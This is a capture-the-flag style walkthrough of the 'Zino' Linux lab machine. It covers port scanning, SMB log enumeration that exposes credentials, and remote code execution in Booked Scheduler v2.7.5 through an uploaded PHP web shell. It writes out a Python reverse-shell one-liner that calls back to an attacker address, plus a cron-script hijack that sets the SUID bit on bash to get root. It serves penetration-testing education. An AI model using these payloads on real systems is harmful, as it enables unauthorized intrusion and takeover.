| Name | Zino |
|---|---|
| OS | Linux |
| DIFFICULTY | Intermediate |
Port Scan
I started with a very quick nmap scan to identify open ports. I do this so I can work on testing the machine while more scans run.
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nmap 192.168.172.64 -p- --min-rate 1000 -oN allPorts.nmap -v
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
8003/tcp open mcreport
After the initial scan finished I started another nmap scan this time using some nse scripts.
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nmap -p 21,22,139,115,3306,8003 -sVC 192.168.172.64 -oN scriptScan.nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b2:66:75:50:1b:18:f5:e9:9f:db:2c:d4:e3:95:7a:44 (RSA)
| 256 91:2d:26:f1:ba:af:d1:8b:69:8f:81:4a:32:af:9c:77 (ECDSA)
|_ 256 ec:6f:df:8b:ce:19:13:8a:52:57:3e:72:a3:14:6f:40 (ED25519)
115/tcp filtered sftp
139/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.49.172' is not allowed to connect to this MariaDB server
8003/tcp open http Apache httpd 2.4.38
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2019-02-05 21:02 booked/
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.38 (Debian)
There are 6 total open ports. My top 3 that I will start testing are 21 FTP, SMB 139, and HTTP 8003. These protocols usually have the biggest attack surface.
FTP 21
The two things that I check against an FTP server are anonymous login and banner grabbing. These are really the only two unauthenticated attacks that can be done against an FTP server.
Anonymous login
Anonymous login failed
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┌──(root㉿kali)-[~/provingGrounds/zino]
└─# ftp 192.168.172.64
Connected to 192.168.172.64.
220 (vsFTPd 3.0.3)
Name (192.168.172.64:root): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
Version
This server is running vsFTPd 3.0.3, I could not find any public exploits so I will move on to the next protocol
SMB 139 445
I used smbmap to get a list of shares available on this server. zino is the only one that I have access to and it has a description of “Logs”
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┌──(root㉿kali)-[~/provingGrounds/zino]
└─# smbmap -H 192.168.172.64
[+] IP: 192.168.172.64:445 Name: unknown
Disk Permissions Comment
---- ----------- -------
zino READ ONLY Logs
print$ NO ACCESS Printer Drivers
IPC$ NO ACCESS IPC Service (Samba 4.9.5-Debian)
Inside the share is a list of logs. I downloaded each one to do some analysis on them and see if there is any useful information in them.
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┌──(root㉿kali)-[~/provingGrounds/zino]
└─# smbclient -N \\\\192.168.172.64\\zino
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Jul 9 15:11:49 2020
.. D 0 Tue Apr 28 09:38:53 2020
.bash_history H 0 Tue Apr 28 11:35:28 2020
error.log N 265 Tue Apr 28 10:07:32 2020
.bash_logout H 220 Tue Apr 28 09:38:53 2020
local.txt N 33 Mon Oct 3 13:08:36 2022
.bashrc H 3526 Tue Apr 28 09:38:53 2020
.gnupg DH 0 Tue Apr 28 10:17:02 2020
.profile H 807 Tue Apr 28 09:38:53 2020
misc.log N 424 Tue Apr 28 10:08:15 2020
auth.log N 368 Tue Apr 28 10:07:54 2020
access.log N 5464 Tue Apr 28 10:07:09 2020
ftp D 0 Tue Apr 28 10:12:56 2020
Inside auth.log I can see that there is a user named peter, we could potentially brute force with that username.
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──(root㉿kali)-[~/provingGrounds/zino]
└─# cat auth.log
Apr 28 08:16:54 zino groupadd[1044]: new group: name=peter, GID=1001
Apr 28 08:16:54 zino useradd[1048]: new user: name=peter, UID=1001, GID=1001, home=/home/peter, shell=/bin/bash
Apr 28 08:17:01 zino passwd[1056]: pam_unix(passwd:chauthtok): password changed for peter
Apr 28 08:17:01 zino CRON[1058]: pam_unix(cron:session): session opened for user root by (uid=0)
Inside misc.log it shows that the system started an application and set a username and password, admin:adminadmin. These are good creds to add to my collection
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┌──(root㉿kali)-[~/provingGrounds/zino]
└─# cat misc.log
Apr 28 08:39:01 zino systemd[1]: Starting Clean php session files...
Apr 28 08:39:01 zino CRON[2791]: (CRON) info (No MTA installed, discarding output)
Apr 28 08:39:01 zino systemd[1]: phpsessionclean.service: Succeeded.
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
There was not anything else inside the logs that are useful. I will move onto the HTTP site
HTTP 8003 Apache
This site is running “Booked Scheduler v2.7.5”. Its some kind of booking CMS.
I tried the credentials I found earlier admin:adminadmin and I got in!
From here I googled “Booked Scheduler v2.7.5 exploit” and I found a github repo that showed how to get remote code execution on this machine.
There were 3 simple steps to exploit this machine. Navigate to manage_theme.php page
Upload rce.php <?php system($_GET['cmd']); ?> as the Favicon
Navigate to http://192.168.172.64:8003/booked/Web/custom-favicon.php?cmd= to run commands!
From here I used a python reverse shell one-liner to get a reverse shell
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http://192.168.172.64:8003/booked/Web/custom-favicon.php?cmd=python%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.49.172%22,21));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27
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┌──(root㉿kali)-[/opt/linuxPrivEsc]
└─# nc -lvnp 21
listening on [any] 21 ...
connect to [192.168.49.172] from (UNKNOWN) [192.168.172.64] 59182
$
Next, I used python to get a tty shell
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$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@zino:/var/www/html/booked/Web$
Root
I downloaded pspy onto the machine so I could look into the running processes of this machine. While looking I saw that root was executing a script about every three minutes
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2022/10/03 17:54:01 CMD: UID=0 PID=19521 | /usr/sbin/CRON -f
2022/10/03 17:54:01 CMD: UID=0 PID=19522 | /usr/sbin/CRON -f
2022/10/03 17:54:01 CMD: UID=0 PID=19523 | /bin/sh -c python /var/www/html/booked/cleanup.py
2022/10/03 17:54:01 CMD: UID=0 PID=19524 | python /var/www/html/booked/cleanup.py
The crontab confirmed that every 3 minutes root would run cleanup.py
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$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/3 * * * * root python /var/www/html/booked/cleanup.py
#
Checking the permissions of the file my user www-data has access to write to this file. I removed the contents and put in a malicious command to set the SUID bit on /bin/bash allowing me to get a root shell
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$ cat cleanup.py
cat cleanup.py
#!/usr/bin/env python
import os
os.system('chmod u+s /bin/bash')
After 3 minutes I can see that the S bit has been set and getting to root is trivial
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$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
$ bash -p
bash -p
bash-5.0# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
bash-5.0# cd /root
cd /root
bash-5.0# ls
ls
proof.txt